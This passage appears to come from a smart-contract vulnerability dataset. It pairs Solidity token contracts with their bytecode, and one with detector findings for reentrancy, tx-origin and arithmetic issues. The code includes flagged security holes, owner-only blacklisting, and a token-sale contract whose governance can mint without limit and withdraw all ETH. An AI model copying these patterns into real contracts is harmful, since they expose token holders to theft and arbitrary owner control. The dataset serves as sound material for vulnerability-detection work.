IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp); IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); m_Liquidity = true; } function launch() external onlyOwner() { m_WalletLimit = TOTAL_SUPPLY.div(50); //set wallet limit back to 2% m_Launched = true; } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function checkIfWhitelist(address _address) external view returns (bool) { return m_ExcludedAddresses[_address]; } function blacklist(address _a) external onlyOwner() { m_Blacklist[_a] = true; } function rmBlacklist(address _a) external onlyOwner() { m_Blacklist[_a] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) { m_ExcludedAddresses[_address] = true; } } function addTaxWhitelist(address[] memory _address) external onlyOwner() { for (uint i = 0; i < _address.length; i++) { m_ExcludedAddresses[_address[i]] = true; } } function rmTaxWhitelist(address[] memory _address) external onlyOwner() { for (uint i = 0; i < _address.length; i++) { m_ExcludedAddresses[_address[i]] = false; } } }
0x6080604052600436106101845760003560e01c8063899c3ea3116100d1578063c7ab8d9d1161008a578063f2d226fc11610064578063f2d226fc146104b0578063f2fde38b146104d0578063f9f92be4146104f0578063fbe6a0891461051057600080fd5b8063c7ab8d9d1461041c578063dd62ed3e14610455578063e8078d941461049b57600080fd5b8063899c3ea31461035f5780638a13792e1461037f5780638da5cb5b1461039f57806395d89b41146103c757806398d5a5cb146103dc578063a9059cbb146103fc57600080fd5b80631c815b491161013e578063313ce56711610118578063313ce567146102b85780633bcad4b3146102da57806354486ac31461031357806370a082311461032957600080fd5b80631c815b491461025857806323b872dd146102785780632473fc9e1461029857600080fd5b806291ef3b1461019057806301339c21146101b457806306fdde03146101cb57806307ac5dc5146101ed578063095ea7b31461020d57806318160ddd1461023d57600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b50600a545b6040519081526020015b60405180910390f35b3480156101c057600080fd5b506101c9610525565b005b3480156101d757600080fd5b506101e0610586565b6040516101ab9190611cdf565b3480156101f957600080fd5b506101c9610208366004611c8c565b610618565b34801561021957600080fd5b5061022d610228366004611af8565b610668565b60405190151581526020016101ab565b34801561024957600080fd5b50670de0b6b3a76400006101a1565b34801561026457600080fd5b506101c9610273366004611af8565b61067f565b34801561028457600080fd5b5061022d610293366004611b5d565b6106ea565b3480156102a457600080fd5b506101c96102b3366004611b9e565b610754565b3480156102c457600080fd5b5060075460405160ff90911681526020016101ab565b3480156102e657600080fd5b5061022d6102f5366004611abe565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561031f57600080fd5b506101a160045481565b34801561033557600080fd5b506101a1610344366004611abe565b6001600160a01b03166000908152600e602052604090205490565b34801561036b57600080fd5b506101c961037a366004611c8c565b6107ef565b34801561038b57600080fd5b506101a161039a366004611abe565b61083f565b3480156103ab57600080fd5b506000546040516001600160a01b0390911681526020016101ab565b3480156103d357600080fd5b506101e06108b4565b3480156103e857600080fd5b506101c96103f7366004611abe565b6108c3565b34801561040857600080fd5b5061022d610417366004611af8565b610917565b34801561042857600080fd5b5061022d610437366004611abe565b6001600160a01b03166000908152600c602052604090205460ff1690565b34801561046157600080fd5b506101a1610470366004611b24565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156104a757600080fd5b506101c9610924565b3480156104bc57600080fd5b506101c96104cb366004611b9e565b610ce1565b3480156104dc57600080fd5b506101c96104eb366004611abe565b610d7c565b3480156104fc57600080fd5b506101c961050b366004611abe565b610e0a565b34801561051c57600080fd5b506009546101a1565b6000546001600160a01b0316336001600160a01b0316146105615760405162461bcd60e51b815260040161055890611d34565b60405180910390fd5b610574670de0b6b3a76400006032610e61565b6009556011805460ff19166001179055565b60606005805461059590611e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546105c190611e4a565b801561060e5780601f106105e35761010080835404028352916020019161060e565b820191906000526020600020905b8154815290600101906020018083116105f157829003601f168201915b5050505050905090565b6000546001600160a01b0316336001600160a01b03161461064b5760405162461bcd60e51b815260040161055890611d34565b610662670de0b6b3a764000062ffffff8316610e61565b600a5550565b6000610675338484610ea3565b5060015b92915050565b6000546001600160a01b0316336001600160a01b0316146106b25760405162461bcd60e51b815260040161055890611d34565b6106bc8282610fc7565b80156106e6576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b5050565b60006106f7848484611172565b610749843361074485604051806060016040528060288152602001611ef8602891396001600160a01b038a166000908152600f6020908152604080832033845290915290205491906113e0565b610ea3565b5060015b9392505050565b6000546001600160a01b0316336001600160a01b0316146107875760405162461bcd60e51b815260040161055890611d34565b60005b81518110156106e6576000600d60008484815181106107ab576107ab611eb6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e781611e85565b91505061078a565b6000546001600160a01b0316336001600160a01b0316146108225760405162461bcd60e51b815260040161055890611d34565b610839670de0b6b3a764000062ffffff8316610e61565b60095550565b600080546001600160a01b0316336001600160a01b0316146108735760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03821660009081526003602052604090205460018054829081106108a0576108a0611eb6565b90600052602060002001549150505b919050565b60606006805461059590611e4a565b6000546001600160a01b0316336001600160a01b0316146108f65760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000610675338484611172565b6000546001600160a01b0316336001600160a01b0316146109575760405162461bcd60e51b815260040161055890611d34565b600b5460ff16156109aa5760405162461bcd60e51b815260206004820152601860248201527f4c697175696469747920616c72656164792061646465642e00000000000000006044820152606401610558565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915547906109e83082670de0b6b3a7640000610ea3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2157600080fd5b505afa158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190611adb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aa157600080fd5b505afa158015610ab5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad99190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b2157600080fd5b505af1158015610b35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b599190611adb565b600780546001600160a01b0392831661010002610100600160a81b03199091161790556008541663f305d7198330610ba6816001600160a01b03166000908152600e602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c4016060604051808303818588803b158015610c0557600080fd5b505af1158015610c19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c3e9190611cb1565b505060075460085460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015261010090920416915063095ea7b390604401602060405180830381600087803b158015610c9757600080fd5b505af1158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf9190611c6a565b5050600b805460ff1916600117905550565b6000546001600160a01b0316336001600160a01b031614610d145760405162461bcd60e51b815260040161055890611d34565b60005b81518110156106e6576001600d6000848481518110610d3857610d38611eb6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d7481611e85565b915050610d17565b6000546001600160a01b0316336001600160a01b031614610daf5760405162461bcd60e51b815260040161055890611d34565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316336001600160a01b031614610e3d5760405162461bcd60e51b815260040161055890611d34565b6001600160a01b03166000908152600c60205260409020805460ff19166001179055565b600061074d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141a565b6001600160a01b038316610f055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610558565b6001600160a01b038216610f665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610558565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0316336001600160a01b031614610ffa5760405162461bcd60e51b815260040161055890611d34565b6001600160a01b038216600090815260036020526040902054806110e657600454612904906110299084611448565b111561103457600080fd5b6001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018390556002805480830182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b03861617905580546110b89190611e33565b6001600160a01b0384166000908152600360205260409020556004546110de9083611448565b600455505050565b6000600182815481106110fb576110fb611eb6565b9060005260206000200154905061290461112a826111248660045461144890919063ffffffff16565b906114a7565b111561113557600080fd5b826001838154811061114957611149611eb6565b6000918252602090912001556004546111689082906111249086611448565b600455505b505050565b6001600160a01b0383166111d65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610558565b6001600160a01b0382166112385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610558565b6000811161129a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610558565b6001600160a01b0383166000908152600c602052604090205460ff161580156112dc57506001600160a01b0382166000908152600c602052604090205460ff16155b80156112f85750326000908152600c602052604090205460ff16155b61130157600080fd5b61130a826114e9565b1561137a5760115460ff1615611345576009546001600160a01b0383166000908152600e60205260409020541061134057600080fd5b61137a565b600a5481111561135457600080fd5b6009546001600160a01b0383166000908152600e60205260409020541061137a57600080fd5b60006113868484611520565b156113ce5760115460ff1661139a57600080fd5b6113a48484611567565b156113b857600a548211156113b857600080fd5b6113c38484846115c3565b90506113ce8461163a565b6113da8484848461166c565b50505050565b600081848411156114045760405162461bcd60e51b81526004016105589190611cdf565b5060006114118486611e33565b95945050505050565b6000818361143b5760405162461bcd60e51b81526004016105589190611cdf565b5060006114118486611df2565b6000806114558385611dda565b90508381101561074d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610558565b600061074d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e0565b6007546000906001600160a01b0383811661010090920416148015906106795750506008546001600160a01b039081169116141590565b6001600160a01b0382166000908152600d602052604081205460ff168061155f57506001600160a01b0382166000908152600d602052604090205460ff165b159392505050565b6007546000906001600160a01b038481166101009092041614801561159a57506008546001600160a01b03838116911614155b801561074d5750506001600160a01b03166000908152600d602052604090205460ff1615919050565b6001600160a01b0383166000908152600d6020526040812054819060ff168061160457506001600160a01b0384166000908152600d602052604090205460ff165b1561161057905061074d565b61141161163361161f60045490565b60125461162d908790610e61565b90611756565b8290611448565b611643816117d5565b1561166957306000908152600e602052604090205461166181611806565b6106e6611989565b50565b600061167883836114a7565b6001600160a01b0386166000908152600e602052604090205490915061169e90846114a7565b6001600160a01b038087166000908152600e602052604080822093909355908616815220546116cd9082611448565b6001600160a01b0385166000908152600e60205260408082209290925530815220546116f99083611448565b306000908152600e602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008261176557506000610679565b60006117718385611e14565b90508261177e8583611df2565b1461074d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610558565b601154600090610100900460ff1615801561067957505060075461010090046001600160a01b039081169116141590565b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061184a5761184a611eb6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561189e57600080fd5b505afa1580156118b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d69190611adb565b816001815181106118e9576118e9611eb6565b6001600160a01b03928316602091820292909201015260085461190f9130911684610ea3565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611948908590600090869030904290600401611d69565b600060405180830381600087803b15801561196257600080fd5b505af1158015611976573d6000803e3d6000fd5b50506011805461ff001916905550505050565b601054479081116119975750565b60006119ae601054836114a790919063ffffffff16565b905060006119ba6119dd565b905060018110156119ca57505050565b6119d482826119ec565b50504760105550565b60008061067961163360045490565b60015b60015481101561116d57600060018281548110611a0e57611a0e611eb6565b90600052602060002001549050600060028381548110611a3057611a30611eb6565b60009182526020822001546001600160a01b03169150611a5a85611a548886611756565b90610e61565b90506001811115611a9d576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611a9b573d6000803e3d6000fd5b505b5050508080611aab90611e85565b9150506119ef565b80356108af81611ee2565b600060208284031215611ad057600080fd5b813561074d81611ee2565b600060208284031215611aed57600080fd5b815161074d81611ee2565b60008060408385031215611b0b57600080fd5b8235611b1681611ee2565b946020939093013593505050565b60008060408385031215611b3757600080fd5b8235611b4281611ee2565b91506020830135611b5281611ee2565b809150509250929050565b600080600060608486031215611b7257600080fd5b8335611b7d81611ee2565b92506020840135611b8d81611ee2565b929592945050506040919091013590565b60006020808385031215611bb157600080fd5b823567ffffffffffffffff80821115611bc957600080fd5b818501915085601f830112611bdd57600080fd5b813581811115611bef57611bef611ecc565b8060051b604051601f19603f83011681018181108582111715611c1457611c14611ecc565b604052828152858101935084860182860187018a1015611c3357600080fd5b600095505b83861015611c5d57611c4981611ab3565b855260019590950194938601938601611c38565b5098975050505050505050565b600060208284031215611c7c57600080fd5b8151801515811461074d57600080fd5b600060208284031215611c9e57600080fd5b813562ffffff8116811461074d57600080fd5b600080600060608486031215611cc657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611d0c57858101830151858201604001528201611cf0565b81811115611d1e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611db95784516001600160a01b031683529383019391830191600101611d94565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ded57611ded611ea0565b500190565b600082611e0f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2e57611e2e611ea0565b500290565b600082821015611e4557611e45611ea0565b500390565b600181811c90821680611e5e57607f821691505b60208210811415611e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611e9957611e99611ea0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461166957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220061aa665fc32117323b45b1bbf638c3a82f9556cdadb2a4620068b52bd62c5dc64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,801
0xd2e38ea195a2d1ad65da9864c82f52091ec0d3b5
/* ____ _ _ ____ _ | _ \ ___ | | | ____ _ / ___|___ (_)_ __ | |_) / _ \| | |/ / _` | | / _ \| | '_ \ | __/ (_) | | < (_| | |__| (_) | | | | | |_| \___/|_|_|\_\__,_|\____\___/|_|_| |_| (PKC) PolkaCoin is a cross-chain DeFi protocol that allows investors to participate in lending, staking, yield farming & liquidity project on different blockchains Website: https://polkacoin.network/ Twitter: https://twitter.com/polkacoin Medium: https://medium.com/@PolkaCoin PolkaCoin token sale price is 0.00004 ETH/PKC (25% discount from Uniswap listing) */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract POLKACoinFinance is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.00004 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("PolkaCoin.Network", "PKC", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b611113816040518060600160405280